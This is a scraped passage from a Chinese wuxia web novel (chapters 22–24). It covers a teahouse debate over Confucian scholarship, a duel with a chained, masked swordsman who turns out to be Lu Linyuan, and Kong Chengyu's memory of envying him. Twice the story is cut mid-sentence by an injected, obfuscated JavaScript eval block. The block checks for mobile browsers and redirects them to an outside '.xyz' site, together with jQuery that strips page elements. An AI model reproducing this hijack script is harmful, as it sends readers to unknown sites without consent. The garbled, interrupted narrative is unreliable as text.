只是他本就咳嗽气喘,贺归之也没瞧出什么不对劲。 乔长生小声道:“一点小事。” 知道了魏危的身份后,乔长生一直很小心,此时对贺归之都没有说实话,略略含糊了事情经过。 贺归之听罢,眉梢微微舒展,常年习武的手握住了乔长生的手,劝道:“这样人,你应当更加严厉些才是。” 乔长生摇头道:“人非圣贤,孰能无过,知错能改就好。” 贺归之拍了拍他的手,叹气:“长生,你总是这样心软。” 乔长生还在病中,贺归之估摸着时间差不多了,温声劝慰乔长生多休息一会,自己来儒宗还有事情要干。 刚刚踏出门槛,贺归之脸上的笑意就没了。 走过长廊,拂开竹帘,四周轻纱缭绕,云海蒸腾。 贺归之漫不经心地想着,这样清雅宁静的地方,这才勉强配得上他的弟弟。 “长生是不是从日月山庄带了一支梅花到青城来养?”贺归之浅色的眸子漂亮却冷冽,显得有些薄情。 身旁的侍卫听见他如折下花枝般轻飘飘的语气。 “将那个侍卫杀了沃肥。” ** 青城另一边。 碧桃花影,临风落英。 青城内新开了一家茶室,魏危送还乔长生袍子时,乔长生与她提了一下。 “那边的点茶很好,点心也好吃。” “夏天快到了,那边还有应季的杨梅冰饮,可惜我脾胃弱,不好吃太多。” 魏危到茶室时,茶室中已三三两两坐了人,可见在青城中已小有名气。 茶室风雅,除了堂口放着的木桌长凳,还有用竹帘分隔出的小室,桌上插花。 从里头往外面看,正是绰绰约约的人影摇曳如梦,一帘之隔,就仿佛隔开了青城的车水马龙,闹市深山,很是美丽。 价钱也挺美丽。 茶室来往的除了小厮,都是身着宽袖长袍青色衣衫的侍女,温温柔柔,莺声燕语。 若是寻常公子来这儿,听得耳酥心软,指不定为搏小娘子一笑,将单子上的东西全点了。 “乔长生来过这里,你们还记得他是怎么点的么?”魏危不大想仔细看,就合上单子,说,“一模一样,给我来一份。” 侍女应声退去。 为了客人私隐,四下都挂着帘子。 魏危不大在乎这个,将临街的那侧竹帘卷起,拿竿子支起,通风进来。 卷帘时,魏危感觉坐在隔壁小室的人目光越过看了她一眼,魏危也不由抬头看去,却见一双水墨般剔透的眼睛。 似乎有些懊恼自己这么快就被发觉了,那眼睛的主人很快垂下去,欲盖弥彰地喝了一口茶。 是孔成玉。 她依旧是男子的打扮,又俊俏又文雅,干论相貌,也是风度翩翩的少年郎。 只是和她第一次见面魏危就发现,这位年轻的尚贤峰主总喜欢偷瞧自己。 从前魏危以为是孔成玉警惕心比较高,喜欢在暗处观察别人,后来她发现孔成玉好像从不观察陆临渊。 “……” 身段如岸芷汀兰般侍女端着木盘进来,打断了魏危的思绪。 这就是乔长生推荐的点茶了。 炙茶、捣茶、碾茶、磨茶、罗茶……侍女手中运筅环回击拂,分批添注,手腕用巧劲,平稳地一遍一遍加水点茶,茶汤如云沫起,偏偏一点也洒不出来。 这样细碎又磨人的功夫在百越是不曾有的,魏危看得稀奇,等到侍女将茶筅放下,稳稳当当将雪沫乳花茶盏抬起,给魏危细观,魏危不由轻轻“啊”了一声,想起百越的规矩,将一点碎银子塞到了侍女衣袖里。 百越打赏从来豪迈,多的是人直接塞东西到人家衣襟里,也是调情的一种法子。当然,若是对方无意,少不得要挨一巴掌。 侍女猝不及防,一时间耳朵尖有点红,抬起眼飞快瞟了一眼魏危,轻声道谢。 接着调膏在雪沫上作画,白纸青山,巍巍然。 侍女低头:“‘晴窗细乳戏分茶’,女公子慢用。” 大约是怕有的客人吃不惯,茶室还准备了蜂蜜与细密的白糖。 魏危是吃得了苦的,况且这茶闻起来很香,有些像百越那边的奶泡子,但是没有那么甜腻。 一口下去,舌齿清香,配上冰糕,正好冲散那一点苦味。 中原人果然很会吃。 几口下去,魏危觉得舒坦了,正享受着这清闲的时刻,却不防茶室堂口几桌子文人模样的人聚在一块,传出一声高一声的应和来。 一个扰人清闲的王八蛋已够煞风景了,可恨的是一群王八蛋聚在一块。 这时候魏危就想到陆临渊的好处来,起码坐忘峰很安静。 ** 文人聊天,总是说天说地、漫无目的。 魏危听着他们先是从点茶聊起,聊到茶叶,茶马古道——再聊开 22. 不见大雪满埃尘 孔成玉生得极好的骨相,端方的仪态更是自小培养而出的。 她年纪轻轻就能做一峰之主,又当得儒宗的先生,靠的可不全是孔氏的荫庇。 有些人,就是一站在那里,就会让人知道此人非尘土间人。 孔成玉今日独行出门,浑身上下只戴了一根木质簪子,那紫棠衣衫书生打量她半晌,迟疑开口问道:“你是儒宗……孔氏的人?” 节庆时节儒宗会开坛讲学,讲一些寓教于乐的故事,孔成玉也在其中,许多人见过她的面孔。 紫棠衣衫的书生低头沉吟,思索孔成玉的身份,灰衫书生却以为他怯懦,瞪他一眼。 “知道他是孔氏的人,你就怕了?” 他朗声:“你怕他,我却不怕。” 文人要博出一个名声来,有个有声名在身的倒霉蛋当垫脚石最好。 虽然灰衫书生不知道孔成玉的身份,但只要辩倒了一个孔家人,他今后就能立足扬名。 书生这么想着,不由意气洋洋,扇指孔成玉:“孔圣,天下贼首而已!” 此言骇然,孔成玉站在他面前,依旧淡淡:“愿闻其详。” 书生道:“阴阳家明历法,法家非人治,名家辨名实,墨家有兼爱节葬非命诸说,制器敢战之风,农家之并耕食力。何以让君君臣臣父父子子为道冠古今的万世至论,又何必专门学孔圣而后为正脉!” “如今若要百家争鸣,必要废孔学、灭儒宗,毁儒书,解锢蔽,清流毒!” 孔成玉的面色很平静,并不反驳他上一句言论,只问:“所以公子以为,只要儒宗消亡,便可以重现百家争鸣的盛世场面?” 灰衫书生嗤笑一声,这声嘲笑在安静的茶室尤为明显:“你有何辩?还是根本就无话可说了!” 孔成玉正视书生,声如磬玉,一句一句,随着她稳定的步子踩碎在茶室里。 “法家曾言,臣事君,子事父,妻事夫,三者顺,则天下治。” “墨家曾言,尚贤者,政之本也。” “儒家言,无为而治者,其舜也与。道家言,无为而尊者,天道也。” “……” 孔成玉长身玉立,拢手道:“物极必反、无为而治、阴阳五行、循名责实……这些都是百家通论。” “九流十家为后世定论,刻意分开,以至于一叶障目不见泰山。” “万物并育而不相害,道并行而不相悖。学问并无此消彼长,唯我独尊的道理,经世致用,九流归一,才是大势所趋。” 书生群中传来应和之声,那灰衫书生面色不佳,只冷笑一声:“大道理谁不会讲?你在这里说这些,不过是因为你是孔氏的人,受先人之泽荫官,为儒宗效力。” 孔成玉淡淡:“不可否认,我确实是孔氏的人。” “但文人清谈,当仁不让于师。说儒宗,评论孔氏……都无妨。”孔成玉乌黑的眼仁淡淡看了茶室一圈,视线最终定在灰衫书生的脸上。 “可你又为什么要无端诋毁他人?” 灰衫书生一愣,终于反应过来孔成玉为何要出面与她辩驳:“你是说孔子昕与郭郡这等瓦釜雷鸣之辈?” 这下就连紫棠衣衫书生也不由蹙眉:“慎言。” 孔成玉淡淡看他一眼:“你说你不曾见过君子帖,所以先人事迹就是假的。” 书生冷笑:“自然,如今儒宗势大,说什么都是对的。” 孔成玉正欲开口,却见书生指天立地,抢先开口:“所以若要天下格局洗牌重来,必要乱世!” “乱世出英雄!” 嚯。 在后头看戏的魏危忍不住抬起眼睛打量了这大放厥词的书生一眼。 此间茶室有十八位书生,十八颗脑袋,其中大约两颗在孔成玉脑袋上。 灰衫书生脖子上顶着的其实是圆明园的猪首。 孔成玉发出微不可察“呵”的一声冷笑,语气却是循循善诱:“公子大才,只是敢问如何才叫乱世呢?” 灰衫书生已经被踩孔家的快感冲昏了头脑,以为孔成玉在退让,张口就道:“靺鞨……百越……” 紫棠书生面色一变:“什么?” “攻入中原……” 此言一出,灰衫书生感觉周围的气氛徒然变化,几乎让他全身一颤。 他知道他说错了话,感到大事不妙,一滴汗水从额角流下,却只见面前的孔成玉只是静静地看他一眼,转身离开。 再也没人关心什么三教九流之争,灰衫书生心口冷透,口舌僵直,转瞬被茶室里的口诛笔伐淹没。 ** 出了茶室,青城是日光融融的艳阳天,繁华街道的人来人往。 孔成玉吐出一口长长的浊气。 身后传来脚步声,是紫棠色衣衫的那个文人追上来,他犹豫片刻,拱手施礼。 “小生桐州林氏,字枕书。不知先生姓名?” 孔成玉颤了颤眼睫,回身看向他。 “儒宗,孔成玉。” 她本就生得眉目清冷,加上常年身居高位,惯于垂着眼睛看人,就显得有些不近人情。 不过林枕书也没抬头,他听到名字后停顿了一瞬。 “先生就是——” 孔家如今的家主。 “‘本为富贵,而外矫词以为不愿,实欲托此以为荣身之梯,又兼采道德仁义之事以自盖’。” 孔成玉开口,流畅配平静地地把刚刚茶室里他评价孔氏的话复述了一遍。 林枕书:“……” 纵然是林枕书口若悬河,发现自己当着别人的面说这么刻薄的话,还是有些郝然。 林枕书愈发不敢抬头,却听见孔成玉清冷的声音道:“你说得不错。” 林枕书有些惊愕地看向对面那人,一时不知道该说什么。 “林枕书,我读过你的文章。”孔成玉开口说。 “你的学问很好,只是不该囿于名实之争。” “你既然在书中讲最不信半部论语治天下之说,就应该明白名实争论只会役天下聪明才智沉埋于训诂考据之中,不暇及于盱衡治乱、臧否人物。” 孔成玉纤长的眼睫抬起,望向林枕书。 “望君不忘青衿之志,履践致远。” “多谢先生指点。” 林枕书后退一步,肃然作揖。 “小生受教。” ** 等林枕书走后,孔成玉走到一家书肆里。 她本就是为此而来的。 书肆陈设古拙肃穆,大中午的里面没多少人,孔成玉手点了点桌子,立马有一个腰悬尚贤峰腰牌的小厮模样的过来。 孔成玉低下头,淡淡开口:“你去查一下林枕书是什么时候来青城的,还有,今日茶室这些书生,尤其是穿灰色衣衫的那位,平日和哪些人接触。” 小厮领命退去。 魏危从背后抱刀走出:“我以为你会生气。” 孔成玉从未想过居然会有人一直悄无声息地跟着自己,闻声袖中无声捏紧了手指,看见魏危的面孔才不知为何,微微放松下来。 “生气?” 孔成玉很快地打量了一眼魏危,才回过神偏过头去。 “不,没有什么生气的。” “文人清谈,本就如此,前朝武德充沛时,还有大儒在朝堂斗殴的。” “哦。”魏危点了点头。 “那我也不算过分,我刚刚出茶室时打了那个穿灰衣衫的两拳。” 孔成玉脑子空白了一瞬:“什么?” 魏危自己在书肆里找地方坐下来:“当年你们的圣祖骑牛游历七国,我很钦佩。在那种境地下能坚守本心,有教无类,也实在是个圣人。” “而那个人的脑子太空,嘴却很硬。自知比不过前辈,就盘算着一脚踩扁,自己就能当祖师爷。我知道你不好和他们计较,所以出茶室在那些人吵架时顺带打了两拳。” “……”孔成玉表情有些复杂,“……多谢。” 魏危说话不算太客气:“人有时就是吃硬不吃软。青城守城血战才过了几年,他们就淡忘了当年的事情,甚至产生了不切实际的妄想,以为战争是捏泥人一样的事情。” 魏危统领百越,青城没有另一个人比她更清楚战争代表什么。 而且这个倒霉书生还提到了百越,魏危觉得不能正大光明打他一顿实在可惜。 孔成玉捏了捏袖中手指,心下计较:“我总觉得常人不会愚蠢到这样的地,林枕书倒也罢了,那个书生背后应当还有人。” 魏危抬眼问:“需要帮忙吗?” 微风摇动房间中挂着的听风铃,两颗铃铛撞在在一起,发出清脆的声响。 孔成玉抬起头来看着面前面色平静的魏危,心中有些无法言明奇异的情绪:“你应当听见了我刚刚说的话,不觉得我汲汲营营,表面一套,背后一套?” 魏危觉得奇怪:“这有什么?来之前,我以为你打算杀掉这些人的。” 孔成玉:“……” 魏危到底来自哪里? 孔成玉拧了拧眉问:“那你为什么要帮我?” “我有一个朋友。” 魏危拿起桌上摆着的一只橘子,鼻尖嗅到新鲜的果香气,说得很坦然。 “她是我们那里男人堆里的女人,性子要强。有人对我说她心计很深,不该同她深交。” 百越四位巫咸,除了楚凤声之外全是男子。 “可她也不是天生好使心计,她若是有我的本事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“‘妇人不出阃域,而男子则桑弧蓬矢以射四方’,男子之间意见不同,就是君子和而不同,女子之间意见相悖,就是妇人悍妒。” 孔成玉指下微微用力:“我不要求这世道能真的把女子当男子一样看待,和这些人讲道理是没有用的。过于理想的人不是孔圣那样成了仙,就是和温陵居士那样在狱中自裁。” 孔成玉眼中燃着灼灼炽热的光芒。 “我要一人之下,万人之上。” “好。” 话音未落,魏危就拍起手,很实在地给予孔成玉鼓励,仿佛她明天就能荣登大宝。 孔成玉看了魏危一眼,两人都笑了。 街道上人来人往,而看似平平无奇的书肆内,两人话语间皆是悖逆狂言。 一个想做当朝丞相,一个要当天下第一。 ** 从外头照进来的阳光仿佛碎金,支起来的窗户晃着波澜起伏层叠的绿叶,魏危背靠着窗台,身形利落漂亮,仿佛一把出鞘的好刀。 孔成玉抬眼,静静地望了魏危片刻。 她之前总是偷偷瞧魏危。 孔成玉曾经也想着像魏危这样,一人一刀行走江湖,不必小心翼翼地掩藏自己女子的身份,也没有孔氏沉重如山的职责。 但她既然做了孔家的女儿,就没有做浪迹江湖侠客的运道。 她第一次见到魏危,瞧见她鲜亮挺拔的身姿,几分迟疑,几分羡慕。 这是她曾经幻想过的自己,那是自从她束发穿上男子的衣衫开始,就不会属于她的模样。 每晚梦境中,孔成玉从儒宗孔氏的牢笼中尽力伸出手,却什么也抓不住,什么也逃不开。 今日与魏危坦明了自己的欲望,孔成玉眼前的道路却豁然清晰起来。 她知道她的侠客梦不过是年少压在箱底的妄想,她再怎么做也无法成为魏危这个样子。 她走不成魏危这样的路。 孔成玉不得不与梦中那个陌生而奇异、潇洒却自由的自己告别了。 “有一件事,我觉得我应当告诉你。” 孔成玉拿起桌上的杯盏,里面的茶水已经冷了。 她道:“你应当听说过,儒宗有一块试剑石。” 魏危一顿,那双清冽的眼睛看向孔成玉:“你想说什么?” 孔成玉的指尖绕着茶盏的杯口划着圈,顿了半晌,才把话说出口:“我想说,你不要太过信任陆临渊。” 一阵风将听风铃吹得叮当作响,孔成玉站起身,面容好像蒙着一层光。 “这事有关试剑石,说来话长。” “你跟我来。” 23. 试剑之人 已到了傍晚时分,儒宗学子如倦鸟归林,稀稀落落回巢。 贺归之屏退左右,独自一人登上持春峰的台阶。 持春峰一上一下有两条宽敞的道路,此刻只有几队巡逻的儒宗弟子路过,见到贺归之佩着义牌,知道这位就是来儒宗作客的乔长生的兄长,皆是行礼见过。 贺归之一路往无悔崖边走去,顺着小路走到崖底,果然如陆临渊所说,有个十分隐蔽的山洞。 贺归之停下了脚步,眯起眼睛,看着面前静默像块顽石的洞口。 最危险的地方就是最安全的地方,若不是陆临渊亲口所说,谁也想不到就在持春峰崖底的山洞进去,就能见到儒宗传闻中那神秘的试剑石。 四周安静得骇人,明明是水秀山明的风景,此刻凉风穿过,却又像妖魔环伺的地狱。 贺归之心中冷笑一声,伸手拨开洞口覆盖的藤蔓,大步跨进去。 洞口与洞内光线交替,贺归之握着手中刀柄,浅色眼睛环顾四周。 在这里,贺归之不再隐藏他那一直以来就有的冰冷傲慢感。 他打量着面前的人,如同打量一头奇异的野兽。 贺归之唇角勾起一抹微妙的笑意。 “先生就是儒宗的……试剑石啊。” ——试剑石是一个人。 从日月山庄来儒宗之前,贺归之就听说过试剑石的传闻。只要参悟试剑石上的剑意,心境乃至武功修为都会有精益。 日月山庄从他人口中得知试剑石的传闻后借着探望乔长生的名义试探,徐潜山也未曾否认。 儒宗藏着秘密,却又似乎慷慨地将这个秘密分享给中原高手。 然而贺归之笃定试剑石绝不可能是传言中那样一块无害的石头。 他从扬州来青城,就是为了亲眼见一见这个天下敬仰的儒宗山背后到底隐藏着什么样的秘密。 直到看见了山洞里的这个人,贺归之才有一种“果然如此”的感觉。 “……” 一个穿着广袖青衫布衣的男子靠在洞中山壁旁,一头长发凌乱地散着,脸上带着一块银质面具,狰狞料峭的方相面令人隐隐生寒。 偏生他的脖颈修长,仰头靠在石壁上,如同一只垂死而引颈清啸的仙鹤,与凶悍的面具形成强烈的反差。 听到有人进洞的声音,男子也恍如一个死物一般一动不动,冷冽的桃花眼如同两口深潭,吞噬了所有情绪。 “先生为什么不说话呢?” 贺归之绕着男子走了几步,语气中有一种轻佻的恶毒感。 “是儒宗那些人面兽心的人喂了您哑药——还是拔了您的舌头呢?毕竟困住一个活人做中原的试剑石可不是光彩的事情。” 似乎被贺归之的话刺激到,男子动了动,脚上发出金属撞击清脆的声响。 贺归之挑眉,看见男子脚踝上扣着观音臂钏一样的银色镣铐,顺着仿佛无穷无尽的锁链望去,不知道尽头到底在什么地方。 他是被困于此处的囚徒。 贺归之视线移开,想从仿佛被侵蚀雕塑般的面具下分辨出男子的样貌,可惜这个夸张的傩面实在是盖得严严实实,什么都瞧不出来。 贺归之笑意归平,缓缓抽出长刀,刀尖斜指地面,仿佛一线天壑。 “请教了。” 带着银质面具的男子手指动了动,往前走了一小步,贺归之才恍然发现,这个人原来是一直拿着剑的。 一柄最普通不过的黑铁剑,沉沉隐于黑暗中,是宗门里用来给十几岁弟子练手用的,剑刃也不锋利,大约是翻折锻打的时候锻打不到位,刃口附近有许多纵裂。 面具男子就准备用这么一把平凡普通的剑,对战江湖上闻名遐迩的日月山庄少公子。 贺归之眼中冷冷,盯着面前男子握剑抬高横过胸前,左手缓慢成掌贴在握剑的左手后,仿佛漫天桐花雨中撑开一把伞。 落雨淅沥。 ** 是贺归之先动的刀。 长刀正手骤然劈出,男子一动不动,在长刀就要劈上自己时人像鬼影一样偏了偏头,以不可思议的速度侧身躲过那一刀,黑铁剑顺势格住了变线而来的刀刃。 贺归之眼中沉凝,几乎想都没想,一脚想要踹上对方的膝盖,却反被钳住了双臂。 儒宗试剑石,果然名不虚传。 贺归之徒然发力想要挣脱,男子却直接松开了他,贺归之只觉得一拳打在棉花上,猛吸了一口气。 男子后退几步,像是和沉默的山石融为一体。 他不看贺归之,只是沉默着看着手中的黑铁剑,指腹一点一点擦过剑身,那普通的、到处都是纵裂的剑在他手中像是个眷恋着生母的孩子,随着男子的触碰发出嗡嗡的剑鸣。 “……” 贺归之眼中迸发出难以言明的色彩,他的野心与傲慢都随着山洞中不止的剑鸣,逐渐燃烧。 他要打败他——他想知道儒宗的试剑石到底是什么样的人物! 贺归之蹬墙跃起,长刀抽出,几乎快成了一道残影。 与面具男子比试,就像和一个披着人皮的傩鬼对战,纷杂交错的刀刃每次都在要紧关头被对方分毫不差地拨开。 贺归之像是被扼住七寸的毒蛇,纵然蛇骨与肌肉拉扯到极限,踩在力竭与兴奋窒息的边缘,拼尽全力死咬在对方身后,也啃不下他一块肉。 束缚住男子的锁链随着动作叮当作响,贺归之有一瞬间失神,面前的人好像成了百越那传闻中祭祀天神的巫祝,镣铐是他的脚铃,一步一响。 他身负锐剑,却不通人情。无论是暴戾的刀法还是贪婪的目光,都不过是凡人对上天才的妄想。 贺归之腮帮抽动,暗自咬牙。 他觉得他的对手不像是个人,像个鬼。 “无论儒宗用什么法子困住先生的。” 贺归之喘了一口气,在密不透风的刀剑碰撞中挤出一丝说话的余地。 “我日月山庄可以帮您出来!” 冰冷的剑刃没有一丝动摇,面具男子手中黑铁剑所到之处碎石迸溅,凡是与那柄剑正面遇见的石头如齑粉炸开,地上落下零零碎碎的声响,贺归之不得不迅速腾转挪移,来躲避男子的剑刃。 这个东西到底听不听得懂人话?! 面具男子明明是一个活生生的人,却眼神冰冷,没有任何温度,贺归之觉得自己在用血肉之躯与一具死物拼杀。 自贺归之出生以来从未像今天这般狼狈过。 贺归之咬了咬牙,大声问道:“先生您是徐安期……梁祈春……还是其他任何人?” “儒宗不过如是!无论您是谁,日月山庄都可以帮您!” 贺归之终于听见了对方的回应。 ——不,只不过是一声接近野兽般的哼声而已。 男子转手左歇撩起黑铁剑单手挡住贺归之的抹身斜劈,刀剑碰撞发出悲鸣,而他的方相面具慢慢抬起,露出一双困兽般阴冷的眼睛。 对上那双眼睛的那一刻,贺归之有些悚然,四肢百骸都冷了下来。 鸦羽似的眼睫遮住阴郁的目光,眼白上有着多日没有安眠的血丝,苍白的手却稳稳地握着手中未被反复淬炼的长剑,如同亡命之徒。 贺归之知道自己远不如试剑石,可不甘心就这么落败,他后撤一步稳住下盘,内力流转,一声怒吼,前踢击退男子,蹬墙借力翻身劈刀。 而男子挥袖如云,以雷霆之势反客为主,长刀与黑铁剑刀刃正面相对,双方的武器竟然齐齐断裂!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12816991|133879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就在这瞬间,贺归之后撤回掌,反扣成拳,直击对方腰腹,没想到对方反应比他更快,立刻左手格挡反缠钳住手臂关节,随后右手迎面托掌,打得贺归之踉跄几步,眼冒金星。 贺归之的下颔骨被牢牢锁住,整个人被按在地上。对方指骨锐利,死死扣住贺归之的脑袋,才免得他后脑勺猛地撞到石地的命运。 “……” 贺归之输了。 贺归之不是没有经历过输局,但他从未这么惨烈地败过。 他冷汗涔涔地抬起眼睛,那张面具始终冰冷地俯视着他。 一股强烈的不甘铺天盖地淹没了他,贺归之的心脏疯狂跳动,胸膛剧烈起伏,因比试而发烫的指尖反射般跳了跳,下意识握住了一个冰冷的东西。 戴着面具男子已经移开视线,松开自己手,忽然耳边传来布料割碎的声音。 他猛地下移视线,却见贺归之摸地后旋站起,不知何时阴握一把匕首,反手一招横斩切腹。 男子眼神徒然变化,却丝毫不惧,电光石火间猛地伸出右掌,竟想要赤手空拳正面压制住贺归之的进攻。 贺归之惊骇。 他疯了?! 理智回神,贺归之来儒宗的目的可不是为了白白杀一个见不得人的试剑石,但此时收手已经来不及了。 锋锐的匕首如入无人之境,掌心血肉被切开溢出鲜血,随后响起一阵金属摩擦后令人牙酸的吱嘎声,匕首竟然硬生生被压了下去。 鲜血一滴一滴落在地上,一条银质的锁链映入贺归之眼底。 是那条拴着男子的脚铐,他用镣铐压下了匕首的刀口。 哐啷一声,锁链与匕首同时落在地上,像是盘旋的一条银蛇,沾着炽烈的鲜血,泛着冷光。 男子眸子静如沉潭,打量了一眼贺归之惊疑不定的表情,慢慢走回他一开始靠着石壁的地方,盘腿坐下。 他消瘦的手腕搭在膝盖上,鲜血滴落在地,如同碾碎的樱桃汁液。 洞壁崎岖不平的石头倒影在地上,诡谲的影子如一个个从地狱中挣脱欲出的魔鬼,在嚎哭、挣扎。 “……” “是晚辈技不如人。” 贺归之静默良久,态度谦逊地朝面具男子深深行礼,从怀中掏出一个白瓷瓶,双手奉上。 “刚刚一击,实在抱歉,晚辈心有愧疚,这是日月山庄的止血药,希望前辈收下。” 半晌后仍然不见任何动静,贺归之顿了顿,将药瓶放在了地上,沉声道。 “晚辈刚刚所说,前辈可以好好考虑一下。无论儒宗是用什么方法困住您的,毒药也好、镣铐也罢,日月山庄都有能力救出您。” 他声音鬼魅,说出诛心之言:“就算前辈自己不在意,难道希望看见儒宗这些人逍遥自在,忝居高位?” “……” 贺归之不再多言,一路退到洞口,行了一个拜礼,转身离开。 ** 男子再次抬头时洞内已空无一人,只有流动逶迤的风吹动树叶簌簌作响。 他眼睛微眯了一下,左手摸到脚踝镣铐,不知是怎样摁住锁扣,指尖微动,只听见咔嚓一声,镣铐竟然掉在了地上。 尚且沾着鲜血的苍白手指伸进面具之下,劲瘦修长的手指用力抵住舌苔,战栗的喉咙不自觉瑟缩,等一直到指尖摸索到舌齿的缝隙,猛地往下一压,他才吐出口枷般干呕了几声,灼烧和痛感搅成一团。 男子单手摘下狰狞的面具,露出一张苍白俊秀的脸。 他眼角嫣红,乌黑的鬓发凌乱地遮住一双桃花眼,唇上尤带指尖的血红。 陆临渊擦了擦指尖的涎水,看了一眼贺归之放在地上的药瓶,轻轻叹息一声。 “真麻烦……” 24. 妒生怨恨 另一边,魏危跟孔成玉回到尚贤峰。 午后的孔家宅院格外安静,院中绿竹层层叠叠,在空明的院中投下半明半暗的阴影。 孔成玉屏退仆从,从书房的书柜中打开一个暗格,取出一页用琉璃片压着的薄薄的纸,放在桌子上。 “这是君子帖。”她道。 昔年孔子昕与郭郡拒守荥阳整整七日,最后夫妻两人双双殉城。 这封由郭郡所写的帖子被一位义士带回青城,最后为天下人所知。 孔成玉:“按照辈分来算,他们应当是我的二伯与二伯母。” 孔家三子,投降靺鞨的孔思瑾是长子,孔子昕其次,孔成玉的父亲孔怀素是幺儿。 这封帖子被天下人所熟知,被天下文人墨客所赞颂临摹,但是实际摆在人眼前才知道,也不过一裁纸的大小。 面对自己血脉相连的后人,君子帖似乎也柔和了许多,字句间的血腥气淡了不少,帖子在午后阳光下反射莹莹的光。 君子之气节,尽在此帖。 “……” 魏危自然能看得出这是君子帖。 帖子末尾“郭郡顿首”四字如心头血染就,纵然被孔氏悉心保存,依旧可以想象当年的惨烈。 但她有些不太明白这和陆临渊有什么关系。 孔成玉的的眼睛黑沉,素来沉稳的她此时依旧形容冷淡,只是手背微绽而起的青筋暴露了她心绪的不平静。 “我曾经很嫉妒陆临渊。”她说。 “直到他差点杀我的那一天。” ** 陆居安,字临渊,师承儒宗掌门徐潜山,天下儒修之首唯一亲传弟子。 十三岁灭求己崖心灯十七盏,十五岁始闭关三年。 五年前闭关那天,三叠峰的石流玉为陆临渊办了一个宴会,将这三十二峰的年轻一辈邀了个遍。 孔成玉当年还不是尚贤峰的峰主,他的父亲孔怀素作为峰主虽然半退隐,始终比陆临渊大一辈。 这邀请的帖子就落到了她手上。 ** 孔成玉在此之前和陆临渊从未有过私下接触。 儒宗有两件君子帖,陆临渊手中的君子帖灭了求己崖十七盏心灯,而孔成玉手中的君子帖写满了忠义的血泪。 两人一文一武,又都出身高贵,前途不可限量,有人私下称他们儒宗双壁。 那场宴会上,孔成玉第一次注意到陆临渊。 他比孔成玉想象中的更年少,更端正,玉冠青衣,带着少年独有的冷清,一眼望过去是儒宗掌门弟子应该有的模样。 作为掌门徐潜山的弟子,陆临渊平日里低调地像是没这个人存在。平日他住的坐忘峰上只有石流玉时常过去,自求己崖惊艳众人之后,他就再次沉寂。 石流玉是个快活的小仙鹤,儒宗几乎没有不喜欢他的。 而陆临渊高山之巅的名声在外,众弟子不敢造次,就围在石流玉那边哄着他喝梅子酒。 石流玉不会拒绝人,到最后喝得晕晕乎乎,以至于冷落了陆临渊本人。 陆临渊倒是浑不在意,他微低着头,一双眼睛不知在看向何处。 那双持君子帖灭心灯的手,慢慢转着指尖的白玉杯,白皙的手指骨节分明。 有一位弟子观察了一会,举起杯子上前与陆临渊攀谈,陆临渊微微笑着,一双桃花眼中波光流转。 孔成玉到底是孔家的人,地位在一群弟子中高出不少,与陆临渊平辈,坐在他旁的位置,隐隐约约能听见他们之间在聊什么。 攀谈的是一位来自扬州的弟子,大约是在夸赞陆临渊少年天才,世所罕见,若是有机会,能不能指点一下自己的剑术。 自然,以陆临渊这个身份来说,指点剑术只是虚名。 徐潜山只有陆临渊一个弟子,他几乎是板上钉钉的儒宗下一任掌门,扬州这个弟子只是想看看能不能搭上陆临渊这条线。 陆临渊勾唇轻笑,停顿片刻,缓缓对他说:恐怕不行,因为你太弱了。 孔成玉:“……” 难得,孔成玉喝茶呛了一口。 陆临渊的语气虽然平静得不能再平静,但是说出来的话未免太傲。 孔成玉呛到茶的声音不算大,但是扬州那个弟子却听得清清楚楚,他无比幽怨地看了孔成玉一眼。 从中原各地来儒宗求学的天之骄子,不是家中富贵有权有势,就是学问上的尖子生,总是有一种天生自然的傲气,一辈子大约都顺风顺水,没有遇见过挫折。 何况陆临渊这话确实太不给面子了一点。 扬州的弟子脸色青一阵白一阵,居然忍住了没有发火,只是离开时表情异常精彩。 孔成玉在旁边状似无意地伸手拿起桌上茶盏,很快地、隐秘地看了一眼陆临渊。 像是轻轻地一尾羽毛掠过。 陆临渊此时的表情不如平日看起来那样平易近人,唇角的笑意似讥似倦,恹恹支着脑袋。 他单手拨着桌上的杯子,轻轻一推,茶水就翻倒了,桌面上如一面碎裂的银镜。 孔成玉一噎,说不出此时自己是什么心情。 陆临渊完全不会管这人之后会对自己的名声造成怎样不好的影响,他想这么说,所以这么说了。 有些事情,陆临渊可以做,但她不行。 她女扮男装至今,所言所行谨慎万分,如临深渊。 她的母亲在明鬼峰深居简出不问俗世,她的父亲教导她如今世变滔滔,应当韬光养晦,谨始虑终。 除了读书之外,她干得最多的事是呆在宅院中大的过分的书房里,从孔怀素手中接过冷冰冰的密信与消息,从那些复杂的派系争斗与阴私中,寻到自己所需要的东西。 年纪尚小时就开始独自吞下沉重的苦果,对孔成玉来说也许真不是件好事,简直像一种从小沾染的恶习,这会让她产生错觉,以为这种苦果是寻常事。 她独自一人忍受至今,却最终茫然发现旁人不是如此——原来没有人与自己一样。 孔成玉在仁义殿上看见作为掌门亲传弟子的陆临渊,在求己崖看见少年意气的陆临渊,在闭关宴上看见恣意妄为的陆临渊…… 每一回孔成玉都期望在陆临渊身上发现一些自己或许不曾注意到的痛苦,她不可自遏地与他比较,一旦发现别人不曾蒙上如自己一样的苦难,就会不受控制地想——凭什么? 陆临渊似乎察觉到什么,抬头与孔成玉的视线撞了个正着,他笑了笑,举起杯盏遥遥一举。 他桃花眼中盛着琥珀一般的光亮,让人怀疑刚刚恹恹的神色不过是他人的错觉。 